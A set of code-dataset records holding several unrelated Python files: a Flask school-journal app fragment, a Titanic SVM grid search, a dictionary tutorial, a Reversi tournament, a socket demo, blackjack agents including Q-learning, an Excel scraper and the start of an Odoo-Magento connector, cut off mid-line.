students=sts)\n\n\n@app.route('/marks')\ndef marks():\n if not current_user.is_authenticated:\n return redirect('/login')\n if current_user.role == \"Teacher\":\n return redirect(\"/\")\n\n shadow = find_shadow(current_user)\n session = create_session()\n cmpl = [ls for ls in session.query(Lessons).all() if\n ls.completed_by is not None and str(shadow.id) in ls.completed_by.split(', ')]\n return render_template('marks.html', lessons=cmpl)\n\n\n@app.route('/journal')\ndef journal():\n if not current_user.is_authenticated:\n return redirect('/login')\n if current_user.role == 'Student':\n return redirect('/')\n\n shadow = find_shadow(current_user)\n session = create_session()\n lessons = [[ls.title, ls.role, ls.lesson_date, ls.to_class, [(session.query(Users).get(session.query(Students).get(conn.students_id).user_id), conn.mark) for conn in session.query(LessonsToStudents).filter(LessonsToStudents.lessons_id == ls.id)]] for ls in session.query(Lessons).filter(Lessons.to_class == shadow.a_class)]\n return render_template('journal.html', lessons=lessons)\n\n\nif __name__ == '__main__':\n global_init(\"db/project.sqlite\")\n api.add_resource(LessonsResources, '/api/v1/lessons/')\n api.add_resource(LessonsListResources, \"/api/v1/lessons\")\n api.add_resource(TasksResources, '/api/v1/tasks/')\n api.add_resource(TasksListResources, '/api/v1/tasks')\n api.add_resource(UsersResources, '/api/v1/users/')\n api.add_resource(TeachersListResources, '/api/v1/teachers')\n api.add_resource(StudentsListResources, '/api/v1/students')\n api.add_resource(AClassResource, '/api/v1/classes/')\n api.add_resource(AClassListResource, '/api/v1/classes')\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"401815567","text":"\"\"\" This simple code is desinged to teach a basic user to read in the files in python, simply find what proportion of males and females survived and make a predictive model based on this\nAuthor : AstroDave\nDate : 18 September 2012\nRevised: 28 March 2014\n\n\"\"\"\nfrom multiprocessing import Pool\n\nimport csv as csv\nimport numpy as np\nimport graphviz as gv\nfrom sklearn import tree, svm,preprocessing\nfrom sklearn.cross_validation import cross_val_score, train_test_split\nfrom sklearn.grid_search import GridSearchCV\nfrom sklearn.metrics import classification_report\nfrom sklearn import ensemble \nfrom my_functions import *\n\n\n\ndef main ():\n\n\t## LOADING DATA\n\n\tmy_project_dir = \"kaggle_data\\\\\"\n\tcsv_file_object = csv.reader(open(my_project_dir + 'processed.csv', 'r')) \t# Load in the csv file\n\theader = next(csv_file_object) \t\t\t\t\t\t# Skip the fist line as it is a header\n\tdata=[] \t\t\t\t\t\t\t\t\t\t\t\t# Create a variable to hold the data\n\n\tfor row in csv_file_object: \t\t\t\t\t\t\t# Skip through each row in the csv file,\n\t data.append(row[0:]) \t\t\t\t\t\t\t\t# adding each row to the data variable\n\n\n\tdata = np.array(data) \t\t\t\t\t\t\t\t\t# Then convert from a list to an array.\n\n\n\tcols_for_model = [\"PassengerId\", \"Survived\",\"Pclass\",\"Mrs\",\"Mr\",\"Miss\",\"Master\",\n\t\t\t\t\t\t\"Captain\",\"Other\",\"is_female\",\"Age_predict\",\"Age_unknown\",\n\t\t\t\t\t\t\"age_less_10\",\"age_10_20\",\"age_20_30\",\"age_30_50\",\"age_more_50\",\n\t\t\t\t\t\t\"SibSp\",\"Parch\",\"Fare\",\"No_cabin\",\"Embarked_C\",\"Embarked_Q\",\n\t\t\t\t\t\t\"Embarked_S\",\"Same_Ticket\"\n\t\t\t\t\t\t,\"Same_Room_Surv\",\"Same_Room_surv_perc\"\n\t\t\t\t\t\t]\n\n\tcol_remove = []\n\tfor i in range(len(header)):\n\t\tif (header[i] not in cols_for_model): col_remove.append(i)\n\n\tprint (\"Zero value test: \", len(cols_for_model)-(len(header)-len(col_remove)))\n\n\n\n\tdata = np.delete(data, col_remove,1)\n\theader = np.delete(header,col_remove,0)\n\n\n\n\t## Scaling data\n\tprint (\"Scaling features: \", header[[10,19]])\n\tdata[:,[10,19]] = preprocessing.scale(data[:,[10,19]].astype(float))\n\n\n\t### Collecting data for model\n\thas_surv = (data[:,1] !='')\n\n\ty = np.copy(data[has_surv,1].astype(int))\n\tX = np.copy(data[has_surv,2::].astype(float))\n\tfeature_names = header[2:]\n\n\n\n\n\t#clf = svm.SVC(C=1, random_state=512)\n\n\tX_train, X_test, y_train, y_test = train_test_split(\n\t\t\t\t X, y, test_size=0.75, random_state=333)\n\n\tstep_gamma = (0.1-0.0001)/30 \n\t#print(np.arange(11, 17, step_gamma))\n\t#print (np.logspace(-9, 3, 25))\n\tstep_C = (1000-1)/40 \n\t#print(np.arange(1, 1000, step_C))\n\t#print(np.logspace(-2, 4, 25))\n\n\ttuned_parameters = [{'C': np.logspace(-1, 3, 10) ,\n\t\t\t\t\t\t 'kernel': ['rbf'],\n\t\t\t\t\t\t 'gamma': np.logspace(-3, 1, 25)}]\n\n\t#quit()\n\tmin_best_sc = 0\n\tmean_best_sc = 0\n\ttest_best_sc = 0\n\tmin_best_param = []\n\tmean_best_param = []\n\ttest_best_param = []\n\n\tfor i_C in tuned_parameters[0]['C']:\n\t\tfor i_gamma in tuned_parameters[0]['gamma']:\n\t\t\tprint (i_C,i_gamma)\n\n\t\t\tclf = svm.SVC(C=i_C,random_state=512,gamma=i_gamma)\n\t\t\tscores = cross_val_score(clf, X_train, y_train, cv = 8, n_jobs=-1)\n\t\t\t\n\t\t\tclf.fit(X_train, y_train)\n\n\t\t\ty_true, y_pred = y_test, clf.predict(X_test)\n\t\t\tscore_surv = sum(y_true[y_true==1]==y_pred[y_true==1])/len(y_true[y_true==1])\n\t\t\tscore_surv2 = sum(y_true[y_true==0]==y_pred[y_true==0])/len(y_true[y_true==0])\n\t\t\tscore_surv3 = sum(y_true==y_pred)/len(y_true)\n\n\t\t\t#print (\"sc 1: \", score_surv,\"sc 0: \",score_surv2,\"sc all:\", score_surv3)\n\t\t\tprint (\"sc min: \",scores.min(),\"sc mean: \",scores.mean(),\"sc test: \",score_surv3)\n\t\t\t#print(classification_report(y_true, y_pred, digits=4))\n\t\t\tprint()\n\n\t\t\tif scores.min()>min_best_sc:\n\t\t\t\tmin_best_sc = scores.min()\n\t\t\t\tmin_best_param= [i_C,i_gamma]\n\n\t\t\tif scores.mean()>mean_best_sc:\n\t\t\t\tmean_best_sc = scores.mean()\n\t\t\t\tmean_best_param = [i_C,i_gamma]\n\n\t\t\tif score_surv3>test_best_sc:\n\t\t\t\ttest_best_sc = score_surv3\n\t\t\t\ttest_best_param = [i_C,i_gamma]\n\n\tprint (\"Min: \",min_best_sc,\" \",min_best_param )\n\tprint (\"Mean: \",mean_best_sc,\" \",mean_best_param )\n\tprint (\"Min test: \",test_best_sc,\" \",test_best_param )\n\n\n\tclf = svm.SVC(C=100,random_state=512,gamma=0.005)\n\tclf.fit(X, y)\t\n\t#print(clf.best_params_)\n\tX_nolabel = data[~has_surv,2::]\n\tx_id = data[~has_surv,0]\n\ty_predict = clf.predict(X_nolabel).astype(int)\n\n\tprint (\"\\ntest predict\")\n\tprint (\"survived: \",sum (y_predisct==1)/len(y_predict))\n\n\n\tpredictions_file = open(\"output/svm.csv\", \"w\", newline='')\n\tpredictions_file_object = csv.writer(predictions_file)\n\tpredictions_file_object.writerow([\"PassengerId\", \"Survived\"])\t\n\t#predictions_file_object.writerow([pass_id, y_predict])\n\n\tfor i in range(len(y_predict)):\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t predictions_file_object.writerow([x_id[i], y_predict[i]])\n\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\nif __name__ == \"__main__\":\n main()","sub_path":"5_svm_grid_search_v2.py","file_name":"5_svm_grid_search_v2.py","file_ext":"py","file_size_in_byte":4619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"281771482","text":"my_dict = {'key1':'value1', 'key2':'value2'}\nmy_dict\n# Index through keys, instead of positions\nmy_dict['key1']\n# Can contain any value type\nprices_lookup = {'apples':2.99, 'oranges':1.99, 'milk':5.80}\nprices_lookup\n# Easily return value\nprices_lookup['apples']\n# dictionaries are very flexible\nd = {'k1':123, 'k2':[0, 1, 2], 'k3':{'insideKey':100}}\nd['k2']\n# Access multiple levels\nd['k2'][2]\nd['k3']['insideKey']\n# Perform methods on objects inside the dict\nd = {'k1':['a', 'b', 'c']}\nd['k1'][0].upper()\n# But that method doesn't change the list in the dict\nd\n# Adding items to dict\nd = {'k1':100, 'k2':200}\nd['k3'] = 300\nd\n# Similar method to overwrite existing value\nd['k1'] = 10\nd\n# Useful methods\n# Return all keys\nd.keys()\n# Return all values\nd.values()\n# Return items\nd.items()\n","sub_path":"00-Python Object and Data Structure Basics/dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"114469055","text":"\"\"\"Illustration of tournament.\n\nAuthors:\n Alejandro Bellogin \n\n\"\"\"\n\nfrom __future__ import annotations # For Python 3.7\n\nimport numpy as np\n\nfrom game import Player, TwoPlayerGameState, TwoPlayerMatch\nfrom heuristic import simple_evaluation_function\nfrom tournament import StudentHeuristic, Tournament\nfrom reversi import (\n Reversi,\n from_array_to_dictionary_board,\n)\nfrom ourHeuristics import(\n PieceDifference,\n Corners,\n Edges,\n EdgesAndCorners,\n PiecesEdgesCorners,\n)\n\n\ndef create_match(player1: Player, player2: Player) -> TwoPlayerMatch:\n initial_board = (\n ['..B.B..',\n '.WBBW..',\n 'WBWBB..',\n '.W.WWW.',\n '.BBWBWB']\n )\n height = len(initial_board)\n width = len(initial_board[0])\n try:\n initial_board = from_array_to_dictionary_board(initial_board)\n except ValueError:\n raise ValueError('Wrong configuration of the board')\n\n initial_player = player1\n\n game = Reversi(\n player1=player1,\n player2=player2,\n height=height,\n width=width,\n )\n\n game_state = TwoPlayerGameState(\n game=game,\n board=initial_board,\n initial_player=initial_player,\n )\n\n return TwoPlayerMatch(game_state, max_sec_per_move=6000, gui=False)\n\n\ntour = Tournament(max_depth=3, init_match=create_match)\nstrats = {'opt1': [PieceDifference], 'opt2': [Edges],\n 'opt3': [Corners], 'opt4': [EdgesAndCorners],\n 'opt5': [PiecesEdgesCorners]}\n\nn = 6\nscores, totals, names = tour.run(\n student_strategies=strats,\n increasing_depth=False,\n n_pairs=n,\n allow_selfmatch=False,\n)\n\nprint(\n 'Results for tournament where each game is repeated '\n + '%d=%dx2 times, alternating colors for each player' % (2 * n, n),\n)\n\n# print(totals)\n# print(scores)\n\nprint('\\t\\t\\ttotal:', end='')\nfor name1 in names:\n print('\\t%s' % (name1), end='')\nprint()\nfor name1 in names:\n if len(name1) > 18:\n print('%s\\t%d:' % (name1, totals[name1]), end='')\n else:\n print('%s\\t\\t%d:' % (name1, totals[name1]), end='')\n for name2 in names:\n if name1 == name2:\n print('\\t\\t---', end='')\n else:\n print('\\t\\t%d' % (scores[name1][name2]), end='')\n print()\n","sub_path":"Practice2/code/Prueba Timeit/demoTournHeuristics.py","file_name":"demoTournHeuristics.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"595840170","text":"# 导入 socket、sys 模块\nimport socket\n\n\nclass xtc:\n info = ''\n\n\nclass server:\n\n def getfull(self):\n # 创建 socket 对象\n print('start socket!')\n serversocket = socket.socket(\n socket.AF_INET, socket.SOCK_STREAM)\n\n # 获取本地主机名\n host = socket.gethostname()\n\n port = 9995\n\n # 绑定端口号\n serversocket.bind((host, port))\n\n # 设置最大连接数,超过后排队\n serversocket.listen(5)\n if 1:\n print('server ')\n clientsocket, addr = serversocket.accept()\n print('hello world')\n\n while True:\n # 建立客户端连接\n print(\"连接地址: %s\" % str(addr))\n msg = '欢迎!' + \"\\r\\n\"\n msg1 = '我们'+'\\r\\n'\n\n try:\n clientsocket.send(msg.encode('utf-8'))\n clientsocket.send(msg1.encode('utf-8'))\n str1 = clientsocket.recv(1024).decode('utf-8')\n print(str1 + \"server\")\n yield str1\n except (ConnectionResetError, BrokenPipeError):\n print('下载完成!')\n clientsocket.close()\n break\n\n\nif __name__ == '__main__':\n b = server()\n","sub_path":"pythonfromroot/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"65956109","text":"\nimport os\n\nfrom src.constants.constants import Paths\n\n\nclass TestUtility():\n \"\"\"テスト用共通処理クラス\n \"\"\"\n @classmethod\n def read_output(cls) -> str:\n \"\"\"各ステップで出力したアウトプットを読み込み\n\n Returns\n -------\n str\n アウトプットの内容\n \"\"\"\n with open(Paths.OUTPUT) as f:\n s = f.read()\n return s\n\n @classmethod\n def delete_output(cls) -> None:\n \"\"\"各ステップで出力したアウトプットを削除\n \"\"\"\n if os.path.isfile(Paths.OUTPUT):\n os.remove(Paths.OUTPUT)\n","sub_path":"test/utils/test_utility.py","file_name":"test_utility.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"368578914","text":"from util import raiseNotDefined\nfrom util import raiseErrorAtLoc\nimport random\nfrom actions import Actions\nfrom diskIO import readPolicy\n\nclass Agent():\n \"\"\"\n Base Agent class that all dealers and players inherit from\n they all implement getAction\n \"\"\"\n # Return action that happens\n def getAction(self, gameState):\n raiseNotDefined()\n\n\n\nclass Dealer(Agent):\n \"\"\" Dealer agent for blackjack games \"\"\"\n def getAction(self, gameState):\n \"\"\"\n Return action dealer must take based on rules\n input: gameState of current game\n return: action the dealer takes in the state\n \"\"\"\n dealerHand = gameState.getDealerHand()\n if dealerHand.getHandValue() >= 17:\n return Actions.STAND\n else:\n return Actions.HIT\n\n\nclass Player(Agent):\n \"\"\"\n Base player class that all player types inherit fromt\n \"\"\"\n def __init__(self, startingMoney):\n \"\"\" Set the players amount of money and bet amount \"\"\"\n self.money = int(startingMoney)\n self.betAmt = 10\n self.wins = 0\n self.loses = 0\n\n def getMoney(self):\n \"\"\" return: (int) amount of money left \"\"\"\n return self.money\n\n def getBetAmt(self):\n \"\"\" return: (int) amount of money to bet \"\"\"\n return self.betAmt\n\n def payout(self, amount):\n \"\"\"\n Apply payout to player\n input: (int) amount to add (or remove if lose)\n returns: nothing\n \"\"\"\n self.money += amount\n\n def getAllActions(self):\n \"\"\"\n return: (list) of all possible Actions\n \"\"\"\n return [Actions.HIT, Actions.STAND, Actions.DOUBLE_DOWN, Actions.SPLIT]\n\n def getValidActions(self, gameState):\n \"\"\"\n Get valid actions based on gamestate\n input: gameState of hand\n returns: list of valid actions the player can take\n \"\"\"\n validActions = []\n # Player may have split and have multiple hands, get current one\n # from the gameState\n try:\n playerHand = gameState.getCurrentPlayableHand()\n except IndexError as e:\n return []\n\n if playerHand.isBlackjack():\n return [Actions.STAND]\n\n if Actions.isHitValid(playerHand):\n validActions.append(Actions.HIT)\n\n if Actions.isStandValid(playerHand):\n validActions.append(Actions.STAND)\n\n if Actions.isDoubleDownValid(playerHand, gameState):\n validActions.append(Actions.DOUBLE_DOWN)\n\n if Actions.isSplitValid(playerHand, gameState):\n validActions.append(Actions.SPLIT)\n\n return validActions\n\n def bet(self, gameState):\n \"\"\"\n Bet either self.betAmt or the max money you have if you have less than that\n returns: (int) amount of the bet\n returns: (int) amount for player to bet\n \"\"\"\n if self.money < self.betAmt:\n return self.money\n else:\n return self.betAmt\n\nclass Random(Player):\n \"\"\"\n A Random blackjack player\n Chooses randomly from valid actions at every state\n \"\"\"\n def __init__(self, startingMoney):\n super().__init__(startingMoney)\n\n def getAction(self, gameState):\n return random.choice(self.getValidActions(gameState))\n\nclass UserPlayer(Player):\n \"\"\"\n User player agent for command line playing of blackjack\n \"\"\"\n def __init__(self, startingMoney):\n super().__init__(startingMoney)\n\n def getAction(self, gameState):\n \"\"\"\n GetAction for UserPlayer prints valid actions and asks for input for the action to take\n input: gameState of current game\n returns: action to take\n \"\"\"\n dealerHand = gameState.getDealerHand()\n playerHand = gameState.getCurrentPlayableHand()\n\n # Get and display valid actions\n actions = self.getValidActions(gameState)\n print(\"Your move!\\n You may choose one of {}\".format(\", \".join(actions)))\n help_string = \"HIT: 'h' or 'hit', STAND: 's' or 'stand', SPLIT: 'sp' or 'split', DOUBLE DOWN: 'd' or 'double'\\n\"\n\n # Receive user input for action to take\n while(True):\n actionStr = input('---> ')\n\n if Actions.HIT in actions and (actionStr == 'h' or actionStr == 'hit'):\n return Actions.HIT\n elif Actions.STAND in actions and (actionStr == 's' or actionStr =='stand'):\n return Actions.STAND\n elif Actions.SPLIT in actions and (actionStr == 'sp' or actionStr =='split'):\n return Actions.SPLIT\n elif Actions.DOUBLE_DOWN in actions and (actionStr == 'd' or actionStr =='double'):\n return Actions.DOUBLE_DOWN\n else:\n print(\"Unrecognized or invalid action, please try again\\n {}\".format(help_string))\n\nclass OptimalPlayer(Player):\n \"\"\"\n An 'optimal' blackjack player based on strategy found at https://wizardofodds.com/game/blackjack/strategy/8-decks\n Policy is hardcoded in a csv, read into memory, and player acts determinsitically based on the policy\n \"\"\"\n def __init__(self, startingMoney):\n \"\"\" Init parent and load the policy from disk \"\"\"\n super().__init__(startingMoney)\n self.loadPolicy()\n\n def loadPolicy(self):\n \"\"\" Use diskIO module to load policy from disk \"\"\"\n self.policy = readPolicy(\"../policy/optimal.csv\")\n\n\n def getHandType(self, playerHand):\n \"\"\" Type of hand for dictionary lookups \"\"\"\n playerHand.getHandValue()\n if playerHand.isDoubles():\n return 'double'\n elif playerHand.isHard():\n return 'hard'\n else:\n return 'soft'\n\n def getPlayerVal(self, playerHand, handType):\n \"\"\"\n Get the playerVal key in the policy dictionary\n in the policy, key for a double is not the value of both of them but just the card that's doubled\n For soft and hard hands, though, the key is the value of the hand\n \"\"\"\n if handType == 'double':\n cards = playerHand.getCards()\n card = cards[0]\n value = card.getValue()\n # normal card, non ace\n if type(value) is int:\n return value\n # else its an ace, so its an 11 in our csv\n else:\n return 11\n else:\n return playerHand.getHandValue()\n\n def getDealerVal(self, dealerHand):\n \"\"\" Return dealer hand value \"\"\"\n return dealerHand.getHandValue()\n\n def getAction(self, gameState):\n \"\"\"\n Get the features of the hand and lookup in policy which action to return\n \"\"\"\n dealerHand = gameState.getDealerHand()\n playerHand = gameState.getCurrentPlayableHand()\n\n legalActions = self.getValidActions(gameState)\n\n # params for policy.getActionsFromPolicy\n handType = self.getHandType(playerHand)\n\n # If split not allowed (after a previous split in same hand), the hand is no longer\n # considered a doubles but is hard or soft\n if (handType == 'double' and Actions.SPLIT not in legalActions):\n handType = 'hard' if playerHand.isHard() else 'soft'\n\n playerVal = self.getPlayerVal(playerHand, handType)\n dealerVal = self.getDealerVal(dealerHand)\n\n actionList = self.policy.getActionsFromPolicy(handType, playerVal, dealerVal)\n \n # Return legal action from policy\n for action in actionList:\n if action in legalActions:\n return action\n\nclass Expectimax(Player):\n \"\"\"\n Player that implements an expectimax policy for choosing actions\n \"\"\"\n def __init__(self, startingMoney):\n # Init player parent\n super().__init__(startingMoney)\n self.avgVal = float(4*(1+2+3+4+5+6+7+8+9+10+10+10+10))/float(52)\n\n def getAction(self, gameState):\n \"\"\"\n GetAction for UserPlayer prints valid actions and asks for input for the action to take\n input: gameState of current game\n returns: action to take\n \"\"\"\n\n \"\"\"\n Get the expected dealer hand value using the dealers current hand and\n the average value of a deck\n \"\"\"\n averageValue = self.avgVal\n dVal = gameState.dealerHand.getHandValue()\n while dVal < 17:\n dVal += averageValue\n hand = gameState.getCurrentPlayableHand()\n handVal = hand.getHandValue()\n splitPossible = hand.isDoubles()\n\n # Overall function that tests for an end state and returns a score\n def overall(self, state, agent, pStand, dealerVal, bet):\n if pStand or state > 21:\n pBust = state > 21\n if pBust:\n return [-bet]\n elif dealerVal > 21:\n return [bet]\n elif dealerVal > state:\n return [-bet]\n elif state > dealerVal:\n return [bet]\n else:\n return [0]\n\n if agent == 0:\n return maxVal(self, state, agent, pStand, dealerVal, bet)\n else:\n return expVal(self, state, agent, pStand, dealerVal, bet)\n\n # if its the agents turn, then take the maximum of the possible actions\n def maxVal(self, state, agent, pStand, dealerVal, bet):\n\n # initialize a highschore (in a list so we can add optimal action)\n highScore = [float('-inf')]\n\n # get possible actions for first turn\n if splitPossible:\n actions = [Actions.HIT, Actions.STAND, Actions.DOUBLE_DOWN, Actions.SPLIT]\n else:\n actions = [Actions.HIT, Actions.STAND, Actions.DOUBLE_DOWN]\n\n # keep the max action score of the actions\n for action in actions:\n if action == Actions.SPLIT:\n score1 = overall(self, state/2, 1, False, dealerVal, bet)\n score2 = overall(self, state/2, 1, False, dealerVal, bet)\n if score1[0] + score2[0] >= highScore[0]:\n highScore = [score1[0] + score2[0], action]\n else:\n nS = generateSuccessor(state, pStand, bet, action)\n score = overall(self, nS[0], 1, nS[1], dealerVal, nS[2])\n if score[0] >= highScore[0]:\n highScore = [score[0], action]\n return highScore\n\n # for all subsequent turns, take the expected val of possible actions\n def expVal(self, state, agent, pStand, dealerVal, bet):\n\n highScore = [0]\n actions = [Actions.HIT, Actions.STAND]\n\n # accumulate expected val of actions\n for action in actions:\n nS = generateSuccessor(state, pStand, bet, action)\n score = overall(self, nS[0], 1, nS[1], dealerVal, nS[2])\n highScore[0] += float(score[0])/float(len(actions))\n # print(state.getPlayerHands() == og, '****')\n return highScore\n\n # depending on the action, update the card val, stand status, and bet\n def generateSuccessor(state, pStand, bet, action):\n averageValue = self.avgVal\n if action == Actions.HIT:\n newState = state + averageValue\n newStand = pStand\n newBet = bet\n if action == Actions.STAND:\n newStand = True\n newState = state\n newBet = bet\n if action == Actions.DOUBLE_DOWN:\n newBet = bet*2\n newState = state + averageValue\n newStand = True\n return [newState, newStand, newBet]\n\n return overall(self, handVal, 0, False, dVal, gameState.bets[gameState.playerHandIdx])[1]\n\n\n\"\"\" \"\"\"\n\"\"\" Q-LEARNING \"\"\"\n\"\"\" \"\"\"\n\nclass QState():\n \"\"\"\n A reduced state space containing only vital info\n needed for the Q-learner, with overriden hash and eq\n methods to determine state equality in dictionary\n \"\"\"\n def __init__(self, gameState):\n dealerHand = gameState.getDealerHand()\n playerHand = gameState.getCurrentPlayableHand()\n\n self.dealerVal = dealerHand.getHandValue()\n self.playerVal = playerHand.getHandValue()\n self.hard = playerHand.isHard()\n\n def __eq__(self, other):\n \"\"\" Two QStates equal IFF dealervalue, playervalue, and hand hardness are same \"\"\"\n inst = isinstance(other, QState)\n dv = self.dealerVal == other.dealerVal\n pv = self.playerVal == other.playerVal\n h = self.hard == other.hard\n return inst and dv and pv and h\n\n def __hash__(self):\n \"\"\" Keys in dictionary based only on these features,\n not other instance features\n \"\"\"\n return hash( (self.dealerVal, self.playerVal, self.hard) )\n\n\nclass QLearning(Player):\n \"\"\"\n Implements a QLearning algorithm for policy improvement to play blackjack\n \"\"\"\n \n def __init__(self, startingMoney, numTraining, discount=.3):\n \"\"\"\n Init parent, init Q dictionary and N dictionary, \n and varaibles to keep track of training vs testing \n \"\"\"\n super().__init__(startingMoney)\n self.discount = float(discount)\n self.numTraining = int(numTraining)\n self.QValues = {} # Q(s,a) nested dictionary, value of a state is QValues[][]\n self.NVisited = {} # N(s,a) nested dictionary, number of updates to QValues is NVisited[][]\n self.omega = .97 # Used in hyperharmonic alpha calculation\n self.episodeNumber = 0\n\n def isTraining(self):\n \"\"\" Is agent training or testing \"\"\"\n return self.episodeNumber < self.numTraining\n\n def isTesting(self):\n \"\"\" Is agent training or testing \"\"\"\n return not self.isTraining()\n\n def getEpsilon(self):\n \"\"\"\n Get epsilon value for Q value updates\n While training, bias towards high randomness\n When testing, epsilon is 0 for determinsitic action \n \"\"\"\n fracPlayed = self.episodeNumber / float(self.numTraining)\n if fracPlayed < .9:\n return .9\n elif fracPlayed < 1:\n return .5\n else:\n return 0.0\n\n def getAlpha(self, state, action):\n \"\"\" \n Get the learning rate for a state, action pair\n Uses hyperharmonic strategy to have higher learning rate \n for states that havent been visited as much\n alpha = 1 / (N(s,a) ^ omega)\n \"\"\"\n qstate = QState(state)\n if qstate not in self.NVisited:\n self.NVisited[qstate] = {\n Actions.HIT : 0,\n Actions.STAND : 0,\n Actions.DOUBLE_DOWN : 0,\n Actions.SPLIT : 0\n }\n self.NVisited[qstate][action] += 1\n return 1 / float(self.NVisited[qstate][action] ** self.omega)\n\n def getQValue(self, gameState, action):\n \"\"\" Return Q(s,a) \"\"\"\n qstate = QState(gameState)\n\n if qstate not in self.QValues:\n # if state is a bust, the value is just -100\n if qstate.playerVal > 21 and qstate.dealerVal <= 21:\n if qstate.dealerVal <= 21:\n return -100.0\n else:\n return 0\n else:\n # Insert new state into dict if never visted\n self.QValues[qstate] = {\n Actions.HIT: 0.0,\n Actions.STAND: 0.0,\n Actions.DOUBLE_DOWN: 0.0,\n }\n # no split unless even number\n if (qstate.playerVal % 2 == 0):\n self.QValues[qstate][Actions.SPLIT] = 0.0\n\n return self.QValues[qstate][action]\n\n def getValue(self, state):\n '''\n Returns max_action Q(state, action)\n '''\n if not self.getValidActions(state):\n return 0.0\n\n else:\n return self.getQValue(state, self.computeActionFromQValues(state))\n\n def computeActionFromQValues(self, state):\n '''\n Computes best action to take in a state\n '''\n\n #initializes max value, action\n max_value = -float(\"inf\")\n max_action = None\n\n # iterates through possible actions and their values, returning argmax\n for action in self.getValidActions(state):\n value = self.getQValue(state, action)\n if value > max_value:\n max_value = value\n max_action = action\n elif value == max_value:\n max_action = random.choice((action, max_action))\n\n return max_action\n\n def getAction(self, state):\n \"\"\" Get action from state using epsilon-greedy strategy \"\"\"\n legalActions = self.getValidActions(state)\n action = None\n self.episodeNumber += 1\n if random.uniform(0,1) < self.getEpsilon():\n return random.choice(legalActions)\n else:\n return self.computeActionFromQValues(state)\n\n def update(self, state, action, nextState, reward):\n \"\"\"\n Apply update rule update(s,a,r,s') \n Q(s,a) += alpha [r + discount * max_a Q(s',a) - Q(s,a)]\n \"\"\"\n qOriginal = self.getQValue(state, action)\n error = self.getAlpha(state, action) * (reward + self.discount * self.getValue(nextState) - qOriginal)\n legalActions = self.getValidActions(state)\n qState = QState(state)\n self.QValues[qState][action] = qOriginal + error\n\n","sub_path":"src/agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":17799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"566905163","text":"# Using Python, import the Excel file provided in the \n# GitHub repository. Print each record in its own \n# dictionary row.\n\nimport pprint\nimport xlrd\nbook = xlrd.open_workbook(\"data/SOWC 2014 Stat Tables_Table 9.xlsx\")\nsheet = book.sheet_by_name('Table 9 ')\n\nfor i in range(12, sheet.nrows):\n row = sheet.row_values(i)\n country = row[1]\n rowDict = {}\n \n thisCountry = {\n 'child_labor': {\n 'total': [row[4], row[5]], \n 'male': [row[6], row[7]], \n 'female': [row[8], row[9]]\n }, \n 'child_marriage' : {\n 'married_by_15': [row[10], row[11]],\n 'married_by_18': [row[12], row[13]]\n }\n }\n\n # create a dictionary for display.\n rowDict[country] = thisCountry\n \n if country == 'Zimbabwe':\n break\n \n # print the dictionary for this country.\n print(\"\\n\", rowDict) \n","sub_path":"excelScraper.py","file_name":"excelScraper.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"333203380","text":"# -*- coding: utf-8 -*-\n##########################################################################\n#\n# Copyright (c) 2015-Present Webkul Software Pvt. Ltd. ()\n# See LICENSE file for full copyright and licensing details.\n# License URL : \n#\n##########################################################################\n\nimport json\nimport logging\nimport requests\n\nfrom odoo import api, models\nfrom odoo.http import request\n\n_logger = logging.getLogger(__name__)\n\nclass MagentoSynchronization(models.TransientModel):\n _name = \"magento.synchronization\"\n _description = \"Magento Synchronization\"\n\n @api.multi\n def open_configuration(self):\n connectionId = self.env['magento.configure'].search(\n [('active', '=', True)], limit=1).id\n return {\n 'type': 'ir.actions.act_window',\n 'name': 'Configure Magento Api',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'magento.configure',\n 'res_id': connectionId,\n 'target': 'current',\n 'domain': '[]',\n }\n\n def display_message(self, message):\n wizardObj = self.env['message.wizard'].create({'text': message})\n return {\n 'name': (\"Information\"),\n 'view_mode': 'form',\n 'view_type': 'form',\n 'res_model': 'message.wizard',\n 'view_id': self.env.ref('odoo_magento_connect.message_wizard_form1').id,\n 'res_id': wizardObj.id,\n 'type': 'ir.actions.act_window',\n 'nodestroy': True,\n 'target': 'new',\n 'domain': '[]',\n }\n\n @api.model\n def sync_attribute_set(self, data):\n ctx = dict(self._context or {})\n res = False\n attrSetModel = self.env['magento.attribute.set']\n setName = data.get('name')\n setId = data.get('set_id', 0)\n if setName and setId:\n instanceId = ctx.get('instance_id', False)\n setMapObj = attrSetModel.search([\n ('set_id', '=', setId),\n ('instance_id', '=', instanceId)\n ], limit=1)\n if not setMapObj:\n setDict = {\n 'name': setName,\n 'set_id': setId,\n 'created_by': 'Magento',\n 'instance_id': instanceId\n }\n setMapObj = attrSetModel.create(setDict)\n if setMapObj:\n updateDict = {\n 'name': setName\n }\n attributeIds = data.get('attribute_ids',[])\n if attributeIds:\n updateDict['attribute_ids'] = [\n (6, 0, attributeIds)]\n else:\n updateDict['attribute_ids'] = [[5]]\n res = setMapObj.write(updateDict)\n return res\n\n\n def get_mage_region_id(self, url, token, region, countryCode):\n \"\"\"\n @return magneto region id\n \"\"\"\n regionModel = self.env['magento.region']\n searchDomain = [('country_code', '=', countryCode)]\n mapObjs = regionModel.search(searchDomain)\n if not mapObjs:\n returnId = 